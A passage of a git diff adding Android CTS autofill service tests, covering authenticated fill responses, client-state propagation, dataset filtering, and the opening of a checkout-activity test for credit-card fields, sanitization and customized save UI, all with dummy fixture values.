+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Trigger auto-fill.
+        requestFocusOnUsername();
+        sReplier.getNextFillRequest();
+
+        // Tap authentication request.
+        mUiBot.selectDataset("Tap to auth dataset");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+
+        // Now trigger save.
+        mActivity.onUsername((v) -> v.setText("malkovich"));
+        mActivity.onPassword((v) -> v.setText("malkovich"));
+        final String expectedMessage = getWelcomeMessage("malkovich");
+        final String actualMessage = mActivity.tapLogin();
+        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+        mUiBot.updateForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+
+        // Assert client state on authentication activity.
+        Helper.assertAuthenticationClientState("auth activity", AuthenticationActivity.getData(),
+                "CSI", "FromResponse");
+
+        // Assert client state on save request.
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        final String expectedValue = where == ClientStateLocation.FILL_RESPONSE_ONLY
+                ? "FromResponse" : "FromIntent";
+        Helper.assertAuthenticationClientState("on save", saveRequest.data, "CSI", expectedValue);
+    }
+
+    @Presubmit
+    @Test
+    public void testFillResponseAuthBothFields() throws Exception {
+        fillResponseAuthBothFields(false);
+    }
+
+    @Test
+    @AppModeFull(reason = "testFillResponseAuthBothFields() is enough")
+    public void testFillResponseAuthBothFieldsUserCancelsFirstAttempt() throws Exception {
+        fillResponseAuthBothFields(true);
+    }
+
+    private void fillResponseAuthBothFields(boolean cancelFirstAttempt) throws Exception {
+        // Set service.
+        enableService();
+        final MyAutofillCallback callback = mActivity.registerCallback();
+
+        // Prepare the authenticated response
+        final Bundle clientState = new Bundle();
+        clientState.putString("numbers", "4815162342");
+        final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
+                new CannedFillResponse.Builder().addDataset(
+                        new CannedDataset.Builder()
+                                .setField(ID_USERNAME, "dude")
+                                .setField(ID_PASSWORD, "sweet")
+                                .setId("name")
+                                .setPresentation(createPresentation("Dataset"))
+                                .build())
+                        .setExtras(clientState).build());
+
+        // Configure the service behavior
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setAuthentication(authentication, ID_USERNAME, ID_PASSWORD)
+                .setPresentation(createPresentation("Tap to auth response"))
+                .setExtras(clientState)
+                .build());
+
+        // Set expectation for the activity
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Trigger auto-fill.
+        requestFocusOnUsername();
+
+        // Wait for onFill() before proceeding.
+        sReplier.getNextFillRequest();
+        final View username = mActivity.getUsername();
+        callback.assertUiShownEvent(username);
+        mUiBot.assertDatasets("Tap to auth response");
+
+        // Make sure UI is show on 2nd field as well
+        final View password = mActivity.getPassword();
+        requestFocusOnPassword();
+        callback.assertUiHiddenEvent(username);
+        callback.assertUiShownEvent(password);
+        mUiBot.assertDatasets("Tap to auth response");
+
+        // Now tap on 1st field to show it again...
+        requestFocusOnUsername();
+        callback.assertUiHiddenEvent(password);
+        callback.assertUiShownEvent(username);
+
+        if (cancelFirstAttempt) {
+            // Trigger the auth dialog, but emulate cancel.
+            AuthenticationActivity.setResultCode(RESULT_CANCELED);
+            mUiBot.selectDataset("Tap to auth response");
+            callback.assertUiHiddenEvent(username);
+            callback.assertUiShownEvent(username);
+            mUiBot.assertDatasets("Tap to auth response");
+
+            // Make sure it's still shown on other fields...
+            requestFocusOnPassword();
+            callback.assertUiHiddenEvent(username);
+            callback.assertUiShownEvent(password);
+            mUiBot.assertDatasets("Tap to auth response");
+
+            // Tap on 1st field to show it again...
+            requestFocusOnUsername();
+            callback.assertUiHiddenEvent(password);
+            callback.assertUiShownEvent(username);
+        }
+
+        // ...and select it this time
+        AuthenticationActivity.setResultCode(RESULT_OK);
+        mUiBot.selectDataset("Tap to auth response");
+        callback.assertUiHiddenEvent(username);
+        callback.assertUiShownEvent(username);
+        final UiObject2 picker = mUiBot.assertDatasets("Dataset");
+        mUiBot.selectDataset(picker, "Dataset");
+        callback.assertUiHiddenEvent(username);
+        mUiBot.assertNoDatasets();
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+
+        final Bundle data = AuthenticationActivity.getData();
+        assertThat(data).isNotNull();
+        final String extraValue = data.getString("numbers");
+        assertThat(extraValue).isEqualTo("4815162342");
+    }
+
+    @Test
+    @AppModeFull(reason = "testFillResponseAuthBothFields() is enough")
+    public void testFillResponseAuthJustOneField() throws Exception {
+        // Set service.
+        enableService();
+        final MyAutofillCallback callback = mActivity.registerCallback();
+
+        // Prepare the authenticated response
+        final Bundle clientState = new Bundle();
+        clientState.putString("numbers", "4815162342");
+        final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
+                new CannedFillResponse.Builder().addDataset(
+                        new CannedDataset.Builder()
+                                .setField(ID_USERNAME, "dude")
+                                .setField(ID_PASSWORD, "sweet")
+                                .setPresentation(createPresentation("Dataset"))
+                                .build())
+                        .build());
+
+        // Configure the service behavior
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setAuthentication(authentication, ID_USERNAME)
+                .setIgnoreFields(ID_PASSWORD)
+                .setPresentation(createPresentation("Tap to auth response"))
+                .setExtras(clientState)
+                .build());
+
+        // Set expectation for the activity
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Trigger auto-fill.
+        requestFocusOnUsername();
+
+        // Wait for onFill() before proceeding.
+        sReplier.getNextFillRequest();
+        final View username = mActivity.getUsername();
+        callback.assertUiShownEvent(username);
+        mUiBot.assertDatasets("Tap to auth response");
+
+        // Make sure UI is not show on 2nd field
+        requestFocusOnPassword();
+        callback.assertUiHiddenEvent(username);
+        mUiBot.assertNoDatasets();
+        // Now tap on 1st field to show it again...
+        requestFocusOnUsername();
+        callback.assertUiShownEvent(username);
+
+        // ...and select it this time
+        mUiBot.selectDataset("Tap to auth response");
+        callback.assertUiHiddenEvent(username);
+        final UiObject2 picker = mUiBot.assertDatasets("Dataset");
+
+        callback.assertUiShownEvent(username);
+        mUiBot.selectDataset(picker, "Dataset");
+        callback.assertUiHiddenEvent(username);
+        mUiBot.assertNoDatasets();
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+        final Bundle data = AuthenticationActivity.getData();
+        assertThat(data).isNotNull();
+        final String extraValue = data.getString("numbers");
+        assertThat(extraValue).isEqualTo("4815162342");
+    }
+
+    @Test
+    @AppModeFull(reason = "testFillResponseAuthBothFields() is enough")
+    public void testFillResponseAuthWhenAppCallsCancel() throws Exception {
+        // Set service.
+        enableService();
+        final MyAutofillCallback callback = mActivity.registerCallback();
+
+        // Prepare the authenticated response
+        final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
+                new CannedFillResponse.Builder().addDataset(
+                        new CannedDataset.Builder()
+                                .setField(ID_USERNAME, "dude")
+                                .setField(ID_PASSWORD, "sweet")
+                                .setId("name")
+                                .setPresentation(createPresentation("Dataset"))
+                                .build())
+                        .build());
+
+        // Configure the service behavior
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setAuthentication(authentication, ID_USERNAME, ID_PASSWORD)
+                .setPresentation(createPresentation("Tap to auth response"))
+                .build());
+
+        // Trigger autofill.
+        requestFocusOnUsername();
+
+        // Wait for onFill() before proceeding.
+        sReplier.getNextFillRequest();
+        final View username = mActivity.getUsername();
+        callback.assertUiShownEvent(username);
+        mUiBot.assertDatasets("Tap to auth response");
+
+        // Disables autofill so it's not triggered again after the auth activity is finished
+        // (and current session is canceled) and the login activity is resumed.
+        username.setImportantForAutofill(IMPORTANT_FOR_AUTOFILL_NO);
+
+        // Autofill it.
+        final CountDownLatch latch = new CountDownLatch(1);
+        AuthenticationActivity.setResultCode(latch, RESULT_OK);
+
+        mUiBot.selectDataset("Tap to auth response");
+        callback.assertUiHiddenEvent(username);
+
+        // Cancel session...
+        mActivity.getAutofillManager().cancel();
+
+        // ...before finishing the Auth UI.
+        latch.countDown();
+
+        mUiBot.assertNoDatasets();
+    }
+
+    @Test
+    @AppModeFull(reason = "testFillResponseAuthBothFields() is enough")
+    public void testFillResponseAuthServiceHasNoDataButCanSave() throws Exception {
+        fillResponseAuthServiceHasNoDataTest(true);
+    }
+
+    @Test
+    @AppModeFull(reason = "testFillResponseAuthBothFields() is enough")
+    public void testFillResponseAuthServiceHasNoData() throws Exception {
+        fillResponseAuthServiceHasNoDataTest(false);
+    }
+
+    private void fillResponseAuthServiceHasNoDataTest(boolean canSave) throws Exception {
+        // Set service.
+        enableService();
+        final MyAutofillCallback callback = mActivity.registerCallback();
+
+        // Prepare the authenticated response
+        final CannedFillResponse response = canSave
+                ? new CannedFillResponse.Builder()
+                        .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
+                        .build()
+                : CannedFillResponse.NO_RESPONSE;
+
+        final IntentSender authentication =
+                AuthenticationActivity.createSender(mContext, 1, response);
+
+        // Configure the service behavior
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setAuthentication(authentication, ID_USERNAME, ID_PASSWORD)
+                .setPresentation(createPresentation("Tap to auth response"))
+                .build());
+
+        // Trigger auto-fill.
+        requestFocusOnUsername();
+
+        // Wait for onFill() before proceeding.
+        sReplier.getNextFillRequest();
+        final View username = mActivity.getUsername();
+        callback.assertUiShownEvent(username);
+
+        // Select the authentication dialog.
+        mUiBot.selectDataset("Tap to auth response");
+        callback.assertUiHiddenEvent(username);
+        mUiBot.assertNoDatasets();
+
+        if (!canSave) {
+            // Our work is done!
+            return;
+        }
+
+        // Set credentials...
+        mActivity.onUsername((v) -> v.setText("malkovich"));
+        mActivity.onPassword((v) -> v.setText("malkovich"));
+
+        // ...and login
+        final String expectedMessage = getWelcomeMessage("malkovich");
+        final String actualMessage = mActivity.tapLogin();
+        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+
+        // Assert the snack bar is shown and tap "Save".
+        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        sReplier.assertNoUnhandledSaveRequests();
+        assertThat(saveRequest.datasetIds).isNull();
+
+        // Assert value of expected fields - should not be sanitized.
+        final ViewNode usernameNode = findNodeByResourceId(saveRequest.structure, ID_USERNAME);
+        assertTextAndValue(usernameNode, "malkovich");
+        final ViewNode passwordNode = findNodeByResourceId(saveRequest.structure, ID_PASSWORD);
+        assertTextAndValue(passwordNode, "malkovich");
+    }
+
+    @Presubmit
+    @Test
+    public void testFillResponseAuthClientStateSetOnIntentOnly() throws Exception {
+        fillResponseAuthWithClientState(ClientStateLocation.INTENT_ONLY);
+    }
+
+    @Test
+    @AppModeFull(reason = "testFillResponseAuthClientStateSetOnIntentOnly() is enough")
+    public void testFillResponseAuthClientStateSetOnFillResponseOnly() throws Exception {
+        fillResponseAuthWithClientState(ClientStateLocation.FILL_RESPONSE_ONLY);
+    }
+
+    @Test
+    @AppModeFull(reason = "testFillResponseAuthClientStateSetOnIntentOnly() is enough")
+    public void testFillResponseAuthClientStateSetOnIntentAndFillResponse() throws Exception {
+        fillResponseAuthWithClientState(ClientStateLocation.BOTH);
+    }
+
+    enum ClientStateLocation {
+        INTENT_ONLY,
+        FILL_RESPONSE_ONLY,
+        BOTH
+    }
+
+    private void fillResponseAuthWithClientState(ClientStateLocation where) throws Exception {
+        // Set service.
+        enableService();
+
+        // Prepare the authenticated response
+        final CannedFillResponse.Builder authenticatedResponseBuilder =
+                new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "dude")
+                        .setField(ID_PASSWORD, "sweet")
+                        .setPresentation(createPresentation("Dataset"))
+                        .build());
+
+        if (where == ClientStateLocation.FILL_RESPONSE_ONLY || where == ClientStateLocation.BOTH) {
+            authenticatedResponseBuilder.setExtras(
+                    Helper.newClientState("CSI", "FromAuthResponse"));
+        }
+
+        final IntentSender authentication = where == ClientStateLocation.FILL_RESPONSE_ONLY
+                ? AuthenticationActivity.createSender(mContext, 1,
+                authenticatedResponseBuilder.build())
+                : AuthenticationActivity.createSender(mContext, 1,
+                        authenticatedResponseBuilder.build(),
+                        Helper.newClientState("CSI", "FromIntent"));
+
+        // Configure the service behavior
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setAuthentication(authentication, ID_USERNAME)
+                .setIgnoreFields(ID_PASSWORD)
+                .setPresentation(createPresentation("Tap to auth response"))
+                .setExtras(Helper.newClientState("CSI", "FromResponse"))
+                .build());
+
+        // Set expectation for the activity
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Trigger autofill.
+        requestFocusOnUsername();
+        sReplier.getNextFillRequest();
+
+        // Tap authentication request.
+        mUiBot.selectDataset("Tap to auth response");
+
+        // Tap dataset.
+        mUiBot.selectDataset("Dataset");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+
+        // Now trigger save.
+        mActivity.onUsername((v) -> v.setText("malkovich"));
+        mActivity.onPassword((v) -> v.setText("malkovich"));
+        final String expectedMessage = getWelcomeMessage("malkovich");
+        final String actualMessage = mActivity.tapLogin();
+        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+        mUiBot.updateForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+
+        // Assert client state on authentication activity.
+        Helper.assertAuthenticationClientState("auth activity", AuthenticationActivity.getData(),
+                "CSI", "FromResponse");
+
+        // Assert client state on save request.
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        final String expectedValue = where == ClientStateLocation.FILL_RESPONSE_ONLY
+                ? "FromAuthResponse" : "FromIntent";
+        Helper.assertAuthenticationClientState("on save", saveRequest.data, "CSI", expectedValue);
+    }
+
+    @Presubmit
+    @Test
+    public void testFillResponseFiltering() throws Exception {
+        // Set service.
+        enableService();
+        final MyAutofillCallback callback = mActivity.registerCallback();
+
+        // Prepare the authenticated response
+        final Bundle clientState = new Bundle();
+        clientState.putString("numbers", "4815162342");
+        final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
+                new CannedFillResponse.Builder().addDataset(
+                        new CannedDataset.Builder()
+                                .setField(ID_USERNAME, "dude")
+                                .setField(ID_PASSWORD, "sweet")
+                                .setId("name")
+                                .setPresentation(createPresentation("Dataset"))
+                                .build())
+                        .setExtras(clientState).build());
+
+        // Configure the service behavior
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setAuthentication(authentication, ID_USERNAME, ID_PASSWORD)
+                .setPresentation(createPresentation("Tap to auth response"))
+                .setExtras(clientState)
+                .build());
+
+        // Set expectation for the activity
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Trigger auto-fill.
+        requestFocusOnUsername();
+
+        // Wait for onFill() before proceeding.
+        sReplier.getNextFillRequest();
+        final View username = mActivity.getUsername();
+
+        // Make sure it's showing initially...
+        callback.assertUiShownEvent(username);
+        mUiBot.assertDatasets("Tap to auth response");
+
+        // ..then type something to hide it.
+        mActivity.onUsername((v) -> v.setText("a"));
+        callback.assertUiHiddenEvent(username);
+        mUiBot.assertNoDatasets();
+
+        // Now delete the char and assert it's shown again...
+        mActivity.onUsername((v) -> v.setText(""));
+        callback.assertUiShownEvent(username);
+        mUiBot.assertDatasets("Tap to auth response");
+
+        // ...and select it this time
+        AuthenticationActivity.setResultCode(RESULT_OK);
+        mUiBot.selectDataset("Tap to auth response");
+        callback.assertUiHiddenEvent(username);
+        callback.assertUiShownEvent(username);
+        final UiObject2 picker = mUiBot.assertDatasets("Dataset");
+        mUiBot.selectDataset(picker, "Dataset");
+        callback.assertUiHiddenEvent(username);
+        mUiBot.assertNoDatasets();
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+
+        final Bundle data = AuthenticationActivity.getData();
+        assertThat(data).isNotNull();
+        final String extraValue = data.getString("numbers");
+        assertThat(extraValue).isEqualTo("4815162342");
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/dropdown/CheckoutActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/dropdown/CheckoutActivityTest.java
new file mode 100644
index 0000000..1e3535e
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/dropdown/CheckoutActivityTest.java
@@ -0,0 +1,801 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.dropdown;
+
+import static android.autofillservice.cts.activities.CheckoutActivity.ID_ADDRESS;
+import static android.autofillservice.cts.activities.CheckoutActivity.ID_CC_EXPIRATION;
+import static android.autofillservice.cts.activities.CheckoutActivity.ID_CC_NUMBER;
+import static android.autofillservice.cts.activities.CheckoutActivity.ID_DATE_PICKER;
+import static android.autofillservice.cts.activities.CheckoutActivity.ID_HOME_ADDRESS;
+import static android.autofillservice.cts.activities.CheckoutActivity.ID_SAVE_CC;
+import static android.autofillservice.cts.activities.CheckoutActivity.ID_TIME_PICKER;
+import static android.autofillservice.cts.activities.CheckoutActivity.ID_WORK_ADDRESS;
+import static android.autofillservice.cts.activities.CheckoutActivity.INDEX_ADDRESS_WORK;
+import static android.autofillservice.cts.activities.CheckoutActivity.INDEX_CC_EXPIRATION_NEVER;
+import static android.autofillservice.cts.activities.CheckoutActivity.INDEX_CC_EXPIRATION_TODAY;
+import static android.autofillservice.cts.activities.CheckoutActivity.INDEX_CC_EXPIRATION_TOMORROW;
+import static android.autofillservice.cts.testcore.Helper.assertListValue;
+import static android.autofillservice.cts.testcore.Helper.assertTextAndValue;
+import static android.autofillservice.cts.testcore.Helper.assertTextIsSanitized;
+import static android.autofillservice.cts.testcore.Helper.assertToggleIsSanitized;
+import static android.autofillservice.cts.testcore.Helper.assertToggleValue;
+import static android.autofillservice.cts.testcore.Helper.findAutofillIdByResourceId;
+import static android.autofillservice.cts.testcore.Helper.findNodeByResourceId;
+import static android.autofillservice.cts.testcore.Helper.getContext;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_CREDIT_CARD;
+import static android.view.View.AUTOFILL_TYPE_LIST;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.app.assist.AssistStructure.ViewNode;
+import android.autofillservice.cts.R;
+import android.autofillservice.cts.activities.CheckoutActivity;
+import android.autofillservice.cts.commontests.AutoFillServiceTestCase;
+import android.autofillservice.cts.testcore.AutofillActivityTestRule;
+import android.autofillservice.cts.testcore.CannedFillResponse;
+import android.autofillservice.cts.testcore.CannedFillResponse.CannedDataset;
+import android.autofillservice.cts.testcore.Helper;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService.FillRequest;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService.SaveRequest;
+import android.autofillservice.cts.testcore.MultipleTimesRadioGroupListener;
+import android.autofillservice.cts.testcore.MultipleTimesTimeListener;
+import android.autofillservice.cts.testcore.OneTimeCompoundButtonListener;
+import android.autofillservice.cts.testcore.OneTimeDateListener;
+import android.autofillservice.cts.testcore.OneTimeSpinnerListener;
+import android.autofillservice.cts.testcore.OneTimeTextWatcher;
+import android.icu.util.Calendar;
+import android.platform.test.annotations.AppModeFull;
+import android.service.autofill.CharSequenceTransformation;
+import android.service.autofill.CustomDescription;
+import android.service.autofill.FillContext;
+import android.service.autofill.ImageTransformation;
+import android.support.test.uiautomator.By;
+import android.support.test.uiautomator.UiObject2;
+import android.view.autofill.AutofillId;
+import android.view.autofill.AutofillValue;
+import android.widget.ArrayAdapter;
+import android.widget.CheckBox;
+import android.widget.DatePicker;
+import android.widget.EditText;
+import android.widget.RadioGroup;
+import android.widget.RemoteViews;
+import android.widget.Spinner;
+import android.widget.TimePicker;
+
+import org.junit.Test;
+
+import java.util.Arrays;
+import java.util.regex.Pattern;
+
+/**
+ * Test case for an activity containing non-TextField views.
+ */
+public class CheckoutActivityTest
+        extends AutoFillServiceTestCase.AutoActivityLaunch<CheckoutActivity> {
+
+    private CheckoutActivity mActivity;
+
+    @Override
+    protected AutofillActivityTestRule<CheckoutActivity> getActivityRule() {
+        return new AutofillActivityTestRule<CheckoutActivity>(CheckoutActivity.class) {
+            @Override
+            protected void afterActivityLaunched() {
+                mActivity = getActivity();
+            }
+        };
+    }
+
+    @Test
+    public void testAutofill() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedDataset.Builder()
+                .setPresentation(createPresentation("ACME CC"))
+                .setField(ID_CC_NUMBER, "4815162342")
+                .setField(ID_CC_EXPIRATION, INDEX_CC_EXPIRATION_NEVER)
+                .setField(ID_ADDRESS, 1)
+                .setField(ID_SAVE_CC, true)
+                .build());
+        mActivity.expectAutoFill("4815162342", INDEX_CC_EXPIRATION_NEVER, R.id.work_address,
+                true);
+
+        // Trigger auto-fill.
+        mActivity.onCcNumber((v) -> v.requestFocus());
+        final FillRequest fillRequest = sReplier.getNextFillRequest();
+
+        // Assert properties of Spinner field.
+        final ViewNode ccExpirationNode =
+                assertTextIsSanitized(fillRequest.structure, ID_CC_EXPIRATION);
+        assertThat(ccExpirationNode.getClassName()).isEqualTo(Spinner.class.getName());
+        assertThat(ccExpirationNode.getAutofillType()).isEqualTo(AUTOFILL_TYPE_LIST);
+        final CharSequence[] options = ccExpirationNode.getAutofillOptions();
+        assertWithMessage("ccExpirationNode.getAutoFillOptions()").that(options).isNotNull();
+        assertWithMessage("Wrong auto-fill options for spinner").that(options).asList()
+                .containsExactly((Object [])
+                        getContext().getResources().getStringArray(R.array.cc_expiration_values))
+                .inOrder();
+
+        // Auto-fill it.
+        mUiBot.selectDataset("ACME CC");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+    }
+
+    @Test
+    @AppModeFull(reason = "testAutofill() is enough")
+    public void testAutofillDynamicAdapter() throws Exception {
+        // Set activity.
+        mActivity.onCcExpiration((v) -> v.setAdapter(new ArrayAdapter<String>(getContext(),
+                android.R.layout.simple_spinner_item,
+                Arrays.asList("YESTERDAY", "TODAY", "TOMORROW", "NEVER"))));
+
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedDataset.Builder()
+                .setPresentation(createPresentation("ACME CC"))
+                .setField(ID_CC_NUMBER, "4815162342")
+                .setField(ID_CC_EXPIRATION, INDEX_CC_EXPIRATION_NEVER)
+                .setField(ID_ADDRESS, 1)
+                .setField(ID_SAVE_CC, true)
+                .build());
+        mActivity.expectAutoFill("4815162342", INDEX_CC_EXPIRATION_NEVER, R.id.work_address,
+                true);
+
+        // Trigger auto-fill.
+        mActivity.onCcNumber((v) -> v.requestFocus());
+        final FillRequest fillRequest = sReplier.getNextFillRequest();
+
+        // Assert properties of Spinner field.
+        final ViewNode ccExpirationNode =
+                assertTextIsSanitized(fillRequest.structure, ID_CC_EXPIRATION);
+        assertThat(ccExpirationNode.getClassName()).isEqualTo(Spinner.class.getName());
+        assertThat(ccExpirationNode.getAutofillType()).isEqualTo(AUTOFILL_TYPE_LIST);
+        final CharSequence[] options = ccExpirationNode.getAutofillOptions();
+        assertWithMessage("ccExpirationNode.getAutoFillOptions()").that(options).isNull();
+
+        // Auto-fill it.
+        mUiBot.selectDataset("ACME CC");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+    }
+
+    // TODO: this should be a pure unit test exercising onProvideAutofillStructure(),
+    // but that would require creating a custom ViewStructure.
+    @Test
+    @AppModeFull(reason = "Unit test")
+    public void testGetAutofillOptionsSorted() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set activity.
+        mActivity.onCcExpirationAdapter((adapter) -> adapter.sort((a, b) -> {
+            return ((String) a).compareTo((String) b);
+        }));
+
+        // Set expectations.
+        sReplier.addResponse(new CannedDataset.Builder()
+                .setPresentation(createPresentation("ACME CC"))
+                .setField(ID_CC_NUMBER, "4815162342")
+                .setField(ID_CC_EXPIRATION, INDEX_CC_EXPIRATION_NEVER)
+                .setField(ID_ADDRESS, 1)
+                .setField(ID_SAVE_CC, true)
+                .build());
+        mActivity.expectAutoFill("4815162342", INDEX_CC_EXPIRATION_NEVER, R.id.work_address,
+                true);
+
+        // Trigger auto-fill.
+        mActivity.onCcNumber((v) -> v.requestFocus());
+        final FillRequest fillRequest = sReplier.getNextFillRequest();
+
+        // Assert properties of Spinner field.
+        final ViewNode ccExpirationNode =
+                assertTextIsSanitized(fillRequest.structure, ID_CC_EXPIRATION);
+        assertThat(ccExpirationNode.getClassName()).isEqualTo(Spinner.class.getName());
+        assertThat(ccExpirationNode.getAutofillType()).isEqualTo(AUTOFILL_TYPE_LIST);
+        final CharSequence[] options = ccExpirationNode.getAutofillOptions();
+        assertWithMessage("Wrong auto-fill options for spinner").that(options).asList()
+                .containsExactly("never", "today", "tomorrow", "yesterday").inOrder();
+
+        // Auto-fill it.
+        mUiBot.selectDataset("ACME CC");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+    }
+
+    @Test
+    public void testSanitization() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_CREDIT_CARD,
+                        ID_CC_NUMBER, ID_CC_EXPIRATION, ID_ADDRESS, ID_SAVE_CC)
+                .build());
+
+        // Dynamically change view contents
+        mActivity.onCcExpiration((v) -> v.setSelection(INDEX_CC_EXPIRATION_TOMORROW, true));
+        mActivity.onHomeAddress((v) -> v.setChecked(true));
+        mActivity.onSaveCc((v) -> v.setChecked(true));
+
+        // Trigger auto-fill.
+        mActivity.onCcNumber((v) -> v.requestFocus());
+
+        // Assert sanitization on fill request: everything should be sanitized!
+        final FillRequest fillRequest = sReplier.getNextFillRequest();
+
+        assertTextIsSanitized(fillRequest.structure, ID_CC_NUMBER);
+        assertTextIsSanitized(fillRequest.structure, ID_CC_EXPIRATION);
+        assertToggleIsSanitized(fillRequest.structure, ID_HOME_ADDRESS);
+        assertToggleIsSanitized(fillRequest.structure, ID_SAVE_CC);
+
+        // Trigger save.
+        mActivity.onCcNumber((v) -> v.setText("4815162342"));
+        mActivity.onCcExpiration((v) -> v.setSelection(INDEX_CC_EXPIRATION_TODAY));
+        mActivity.onAddress((v) -> v.check(R.id.work_address));
+        mActivity.onSaveCc((v) -> v.setChecked(false));
+        mActivity.tapBuy();
+        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_CREDIT_CARD);
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+
+        // Assert sanitization on save: everything should be available!
+        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_CC_NUMBER), "4815162342");
+        assertListValue(findNodeByResourceId(saveRequest.structure, ID_CC_EXPIRATION),
+                INDEX_CC_EXPIRATION_TODAY);
+        assertListValue(findNodeByResourceId(saveRequest.structure, ID_ADDRESS),
+                INDEX_ADDRESS_WORK);
+        assertToggleValue(findNodeByResourceId(saveRequest.structure, ID_HOME_ADDRESS), false);
+        assertToggleValue(findNodeByResourceId(saveRequest.structure, ID_WORK_ADDRESS), true);
+        assertToggleValue(findNodeByResourceId(saveRequest.structure, ID_SAVE_CC), false);
+    }
+
+    @Test
+    @AppModeFull(reason = "Service-specific test")
+    public void testCustomizedSaveUi() throws Exception {
+        customizedSaveUi(false);
+    }
+
+    @Test
+    @AppModeFull(reason = "Service-specific test")
+    public void testCustomizedSaveUiWithContentDescription() throws Exception {
+        customizedSaveUi(true);
+    }
+
+    /**
+     * Tests that a spinner can be used on custom save descriptions.
+     */
+    private void customizedSaveUi(boolean withContentDescription) throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        final String packageName = getContext().getPackageName();
+
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_CREDIT_CARD, ID_CC_NUMBER, ID_CC_EXPIRATION)
+                .setSaveInfoVisitor((contexts, builder) -> {
+                    final RemoteViews presentation = new RemoteViews(packageName,
+                            R.layout.two_horizontal_text_fields);
+                    final FillContext context = contexts.get(0);
+                    final AutofillId ccNumberId = findAutofillIdByResourceId(context,
+                            ID_CC_NUMBER);
+                    final AutofillId ccExpirationId = findAutofillIdByResourceId(context,
+                            ID_CC_EXPIRATION);
+                    final CharSequenceTransformation trans1 = new CharSequenceTransformation
+                            .Builder(ccNumberId, Pattern.compile("(.*)"), "$1")
+                            .build();
+                    final CharSequenceTransformation trans2 = new CharSequenceTransformation
+                            .Builder(ccExpirationId, Pattern.compile("(.*)"), "$1")
+                            .build();
+                    final ImageTransformation trans3 = (withContentDescription
+                            ? new ImageTransformation.Builder(ccNumberId,
+                                    Pattern.compile("(.*)"), R.drawable.android,
+                                    "One image is worth thousand words")
+                            : new ImageTransformation.Builder(ccNumberId,
+                                    Pattern.compile("(.*)"), R.drawable.android))
+                            .build();
+
+                    final CustomDescription customDescription =
+                            new CustomDescription.Builder(presentation)
+                            .addChild(R.id.first, trans1)
+                            .addChild(R.id.second, trans2)
+                            .addChild(R.id.img, trans3)
+                            .build();
+                    builder.setCustomDescription(customDescription);
+                })
+                .build());
+
+        // Dynamically change view contents
+        mActivity.onCcExpiration((v) -> v.setSelection(INDEX_CC_EXPIRATION_TOMORROW, true));
+
+        // Trigger auto-fill.
+        mActivity.onCcNumber((v) -> v.requestFocus());
+        sReplier.getNextFillRequest();
+
+        // Trigger save.
+        mActivity.onCcNumber((v) -> v.setText("4815162342"));
